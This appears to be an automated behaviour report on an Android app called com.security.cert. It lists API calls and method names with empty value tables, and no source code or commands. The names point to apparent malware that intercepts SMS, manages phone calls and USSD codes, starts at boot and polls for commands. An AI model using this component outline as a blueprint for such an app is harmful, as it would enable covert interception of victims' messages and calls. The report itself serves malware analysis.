API: com.security.cert.services.USSDDumbExtendedNetworkService->a | Show source |
---|
API: android.util.Log->d | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->a | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->b | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.util.Log->d | Show source |
---|
API: java.lang.CharSequence->toString | Show source |
---|
API: android.net.Uri$Builder-><init> | Show source |
---|
API: android.net.Uri$Builder->scheme | Show source |
---|
API: android.net.Uri$Builder->authority | Show source |
---|
API: android.net.Uri$Builder->path | Show source |
---|
API: java.lang.CharSequence->toString | Show source |
---|
API: android.net.Uri$Builder->appendQueryParameter | Show source |
---|
API: android.net.Uri$Builder->build | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->sendBroadcast | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->a | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->a | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.util.Log->d | Show source |
---|
API: com.a.a.a.b-><init> | Show source |
---|
API: android.util.Log->d | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->b | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.util.Log->d | Show source |
---|
API: com.security.cert.services.USSDDumbExtendedNetworkService->b | Show source |
---|
API: android.app.Activity-><init> | Show source |
---|
API: android.app.Activity->onCreate | Show source |
---|
API: com.security.cert.ui.MainActivity->a | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: android.content.Intent->addFlags | Show source |
---|
API: com.security.cert.ui.MainActivity->finish | Show source |
---|
API: android.text.TextUtils->isEmpty | Show source |
---|
API: android.text.TextUtils->isEmpty | Show source |
---|
API: java.util.Random-><init> | Show source |
---|
API: java.util.Random->nextInt | Show source |
---|
API: java.lang.String->valueOf | Show source |
---|
API: android.app.Activity->onCreate | Show source |
---|
API: android.app.AlertDialog$Builder->setTitle | Show source |
---|
API: com.security.cert.ui.MessageDialogActivity->getIntent | Show source |
---|
API: android.app.AlertDialog$Builder->setMessage | Show source |
---|
API: android.app.AlertDialog$Builder->setCancelable | Show source |
---|
API: android.app.AlertDialog$Builder->setOnCancelListener | Show source |
---|
API: android.app.Activity-><init> | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: com.security.cert.ui.UssdActivity->bindService | Show source |
---|
API: android.app.Activity->onCreate | Show source |
---|
API: com.security.cert.ui.UssdActivity->a | Show source |
---|
API: com.security.cert.ui.UssdActivity->getIntent | Show source |
---|
API: android.content.Intent->getStringExtra | Show source |
---|
API: android.os.Handler-><init> | Show source |
---|
API: android.os.Handler->postDelayed | Show source |
---|
API: com.security.cert.ui.UssdActivity->unbindService | Show source |
---|
API: android.app.Activity->onDestroy | Show source |
---|
API: java.lang.CharSequence->toString | Show source |
---|
API: java.net.URLEncoder->encode | Show source |
---|
API: android.net.Uri->decode | Show source |
---|
API: com.security.cert.ui.UssdActivity->finish | Show source |
---|
API: com.security.cert.ui.UssdActivity->getLocalClassName | Show source |
---|
API: android.os.RemoteException->getMessage | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: android.app.Activity-><init> | Show source |
---|
API: com.security.cert.ui.MessageDialogActivity->finish | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: com.security.cert.ui.MessageDialogActivity->finish | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: com.security.cert.ui.UssdActivity->a | Show source |
---|
API: com.security.cert.ui.UssdActivity->a | Show source |
---|
API: java.lang.StringBuilder-><init> | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: com.security.cert.ui.UssdActivity->b | Show source |
---|
API: java.lang.StringBuilder->append | Show source |
---|
API: java.lang.StringBuilder->toString | Show source |
---|
API: android.net.Uri->parse | Show source |
---|
API: android.content.Intent-><init> | Show source |
---|
API: com.security.cert.ui.UssdActivity->startActivityForResult | Show source |
---|
API: java.lang.Object->getClass | Show source |
---|
API: java.lang.Class->getSimpleName | Show source |
---|
API: android.os.RemoteException->getMessage | Show source |
---|
API: android.util.Log->e | Show source |
---|
API: com.a.a.a.b->a | Show source |
---|
API: com.security.cert.ui.UssdActivity->a | Show source |
---|
API: java.lang.Object-><init> | Show source |
---|
API: com.security.cert.ui.UssdActivity->a | Show source |
---|
Method: com.security.cert.ui.MainActivity.<init> | Show source |
---|
Method: com.security.cert.ui.MessageDialogActivity.<init> | Show source |
---|
Method: com.security.cert.ui.UssdActivity.<init> | Show source |
---|
Method: com.security.cert.ui.MessageDialogActivity.onCreate | Show source |
---|
Method: com.security.cert.ui.UssdActivity.onCreate | Show source |
---|
Method: com.security.cert.ui.MainActivity.onCreate | Show source |
---|
Method: com.security.cert.ui.MessageDialogActivity.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | com.security.cert.ui.MessageDialogActivity |
|
Name | Type | Value |
---|---|---|
Return Value | android.app.AlertDialog$Builder |
|
Method: com.security.cert.ui.MessageDialogActivity.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.Integer |
|
param1 | com.security.cert.ui.b |
|
Name | Type | Value |
---|---|---|
Return Value | android.app.AlertDialog$Builder |
|
Method: com.security.cert.ui.MessageDialogActivity.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.app.AlertDialog |
|
Method: com.security.cert.services.b.run | Show source |
---|
Method: com.security.cert.services.a.run | Show source |
---|
Method: com.security.cert.a.a.d.a | Show source |
---|
Method: com.security.cert.services.CheckCommandsService.a | Show source |
---|
Method: com.security.cert.services.CheckQueueService.a | Show source |
---|
Method: com.security.cert.services.b.run | Show source |
---|
Method: com.security.cert.services.a.run | Show source |
---|
Method: com.security.cert.services.CheckQueueService.<init> | Show source |
---|
Method: com.security.cert.services.USSDDumbExtendedNetworkService.<init> | Show source |
---|
Method: com.security.cert.services.CheckCommandsService.<init> | Show source |
---|
Method: com.security.cert.services.CheckCommandsService.onCreate | Show source |
---|
Method: com.security.cert.services.CheckQueueService.onCreate | Show source |
---|
Method: com.security.cert.b.a.a.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
Method: com.security.cert.b.a.a.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.a.a.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.a.a.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.a.a.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.a.a.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.a.a.f | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.a.a.d | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.a.a.d | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.a.a.e | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
Method: com.security.cert.b.a.a.e | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.a.a.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.a.a.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.a.a.e | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
Method: com.security.cert.services.SmsSentReceiver.<init> | Show source |
---|
Method: com.security.cert.services.ReCheckCommandReceiver.<init> | Show source |
---|
Method: com.security.cert.services.SmsReceiver.<init> | Show source |
---|
Method: com.security.cert.services.ReSendQueueReceiver.<init> | Show source |
---|
Method: com.security.cert.services.OnBootReceiver.<init> | Show source |
---|
Method: com.security.cert.services.c.<init> | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.<init> | Show source |
---|
Method: com.security.cert.services.SmsReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.IllegalStateException |
|
Method: com.security.cert.services.SmsReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.IllegalStateException |
|
Method: com.security.cert.services.c.onReceive | Show source |
---|
Method: com.security.cert.ui.MainActivity.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
resId | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.a.a.e | Show source |
---|
Method: com.security.cert.b.b.a.a.d | Show source |
---|
Method: com.security.cert.b.b.a.a.c | Show source |
---|
Method: com.security.cert.ui.UssdActivity.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.a.a.d.a | Show source |
---|
Method: com.security.cert.services.OnBootReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.OnBootReceiver.onReceive | Show source |
---|
Method: com.security.cert.b.b.a.a.e | Show source |
---|
Method: com.security.cert.b.b.a.a.d | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.c | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.c | Show source |
---|
Method: com.security.cert.ui.c.run | Show source |
---|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Method: com.security.cert.services.CheckCommandsService.a | Show source |
---|
Method: com.security.cert.ui.MainActivity.onCreate | Show source |
---|
Method: com.security.cert.ui.MainActivity.onCreate | Show source |
---|
Method: com.security.cert.ui.MainActivity.onCreate | Show source |
---|
Method: com.security.cert.b.b.a.a.c | Show source |
---|
Method: com.security.cert.services.CheckQueueService.a | Show source |
---|
Method: com.security.cert.services.USSDDumbExtendedNetworkService.onBind | Show source |
---|
Method: com.security.cert.services.USSDDumbExtendedNetworkService.onBind | Show source |
---|
Method: com.security.cert.b.b.a.a.e | Show source |
---|
Method: com.security.cert.b.b.a.a.d | Show source |
---|
Method: com.security.cert.ui.MainActivity.onCreate | Show source |
---|
Method: com.security.cert.b.b.a.a.c | Show source |
---|
Method: com.security.cert.services.c.onReceive | Show source |
---|
Method: com.security.cert.services.c.onReceive | Show source |
---|
Method: com.security.cert.services.ReCheckCommandReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.ReSendQueueReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.SmsSentReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.SmsSentReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.OnBootReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.SmsReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.PhoneCallReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.ReCheckCommandReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.SmsReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.SmsSentReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
Method: com.security.cert.services.SmsSentReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
Method: com.security.cert.services.SmsReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
Method: com.security.cert.services.PhoneCallReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
Method: com.security.cert.services.SmsReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | android.os.Bundle |
|
Method: com.security.cert.ui.UssdActivity.onCreate | Show source |
---|
Method: com.security.cert.ui.MessageDialogActivity.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.SmsSentReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.SmsSentReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.PhoneCallReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.a.a.e | Show source |
---|
Method: com.security.cert.b.b.a.a.c | Show source |
---|
Method: com.security.cert.ui.MainActivity.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
Method: com.security.cert.a.a.d.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
Method: com.security.cert.a.a.d.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | com.security.cert.b.b.a.d |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
Method: com.security.cert.a.a.d.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
Method: com.security.cert.a.a.d.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | com.security.cert.b.b.a.d |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
Method: com.security.cert.services.CheckCommandsService.a | Show source |
---|
Method: com.security.cert.services.CheckQueueService.a | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.security.cert.b.a.a.d | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.security.cert.b.a.a.d | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.b.a.a.g.<init> | Show source |
---|
Method: com.security.cert.ui.UssdActivity.onCreate | Show source |
---|
Method: com.security.cert.services.CheckCommandsService.onCreate | Show source |
---|
Method: com.security.cert.services.CheckQueueService.onCreate | Show source |
---|
Method: com.security.cert.ui.UssdActivity.onCreate | Show source |
---|
Method: com.security.cert.services.b.run | Show source |
---|
Method: com.security.cert.services.a.run | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.b | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.b | Show source |
---|
Method: com.a.a.a.c.b | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.b | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.b | Show source |
---|
Method: com.a.a.a.c.b | Show source |
---|
Method: com.a.a.a.c.b | Show source |
---|
Method: com.a.a.a.c.b | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.a.a.a.c.b | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.security.cert.ui.c.run | Show source |
---|
Method: com.security.cert.ui.UssdActivity.onActivityResult | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.app.ContextImpl$ApplicationContentResolver |
|
param1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.a.a.d.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
param1 | null |
|
param2 | java.util.ArrayList |
|
param3 | java.util.ArrayList |
|
param4 | null |
|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Name | Type | Value |
---|---|---|
destinationAddress | java.lang.String |
|
scAddress | null |
|
text | java.lang.String |
|
sentIntent | null |
|
deliveryIntent | null |
|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.Object |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.SmsMessage |
|
Method: com.security.cert.services.SmsReceiver.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.Object |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.SmsMessage |
|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.Object |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.SmsMessage |
|
Method: com.security.cert.services.SmsReceiver.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.Object |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.SmsMessage |
|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.SmsReceiver.b | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.SmsReceiver.b | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.b | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.b | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.b | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.PhoneCallReceiver.b | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | com.android.internal.telephony.ITelephony$Stub$Proxy |
|
Method: com.security.cert.b.b.c | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.c | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.d | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.b.b.d | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Method: com.security.cert.services.SmsReceiver.a | Show source |
---|
Method: com.security.cert.ui.MainActivity.a | Show source |
---|
Method: com.security.cert.ui.MainActivity.a | Show source |
---|
Method: com.security.cert.b.a.a.d | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.b.a.a.d | Show source |
---|
Method: com.security.cert.b.a.a.f | Show source |
---|
Method: com.security.cert.b.a.a.a | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.c.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.c.onReceive | Show source |
---|
Method: com.security.cert.services.c.onReceive | Show source |
---|
Method: com.security.cert.services.d.b | Show source |
---|
Method: com.security.cert.a.a.b.b | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.b.b.a.a.a | Show source |
---|
Method: com.security.cert.a.a.c.b | Show source |
---|
Method: com.security.cert.a.a.d.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.b.b.a | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.a | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.a.a.b.a | Show source |
---|
Method: com.security.cert.a.a.c.b | Show source |
---|
Method: com.security.cert.ui.c.run | Show source |
---|
Method: com.security.cert.a.a.c.a | Show source |
---|
Method: com.security.cert.ui.UssdActivity.onActivityResult | Show source |
---|
Method: com.security.cert.services.b.run | Show source |
---|
Method: com.security.cert.a.a.a.a | Show source |
---|
Method: com.security.cert.services.a.run | Show source |
---|
Method: com.security.cert.ui.d.onServiceConnected | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.a.a.a.b.onTransact | Show source |
---|
Method: com.security.cert.services.CheckCommandsService.onCreate | Show source |
---|
Method: com.security.cert.services.a.run | Show source |
---|
Method: com.security.cert.services.CheckCommandsService.a | Show source |
---|
Method: com.security.cert.services.CheckCommandsService.a | Show source |
---|
Method: com.security.cert.services.a.run | Show source |
---|
Method: com.security.cert.services.b.run | Show source |
---|
Method: com.security.cert.services.CheckQueueService.onCreate | Show source |
---|
Method: com.security.cert.services.CheckQueueService.a | Show source |
---|
Method: com.security.cert.services.b.run | Show source |
---|
Method: com.security.cert.services.CheckQueueService.a | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.PhoneCallReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.SmsReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.SmsReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.SmsReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.SmsReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.SmsReceiver.onReceive | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.c.onReceive | Show source |
---|
Method: com.security.cert.services.c.onReceive | Show source |
---|
Method: com.security.cert.services.c.onReceive | Show source |
---|
Method: com.security.cert.services.c.onReceive | Show source |
---|
Method: com.security.cert.services.c.onReceive | Show source |
---|
Method: com.security.cert.services.c.onReceive | Show source |
---|
Method: com.security.cert.services.c.onReceive | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.services.d.a | Show source |
---|
Method: com.security.cert.b.b.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
Method: com.security.cert.b.b.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
Method: com.security.cert.b.b.c | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
Method: com.security.cert.b.b.d | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
Method: com.security.cert.b.b.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
Method: com.security.cert.b.b.c | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
Method: com.security.cert.b.b.d | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
Method: com.security.cert.services.PhoneCallReceiver.b | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
Method: com.security.cert.ui.MainActivity.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
intent | android.content.Intent |
|
Method: com.security.cert.ui.MainActivity.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
Method: com.security.cert.ui.MainActivity.onCreate | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
Method: com.security.cert.services.OnBootReceiver.onReceive | Show source |
---|
Name | Type | Value |
---|---|---|
param0 | android.content.Intent |
|
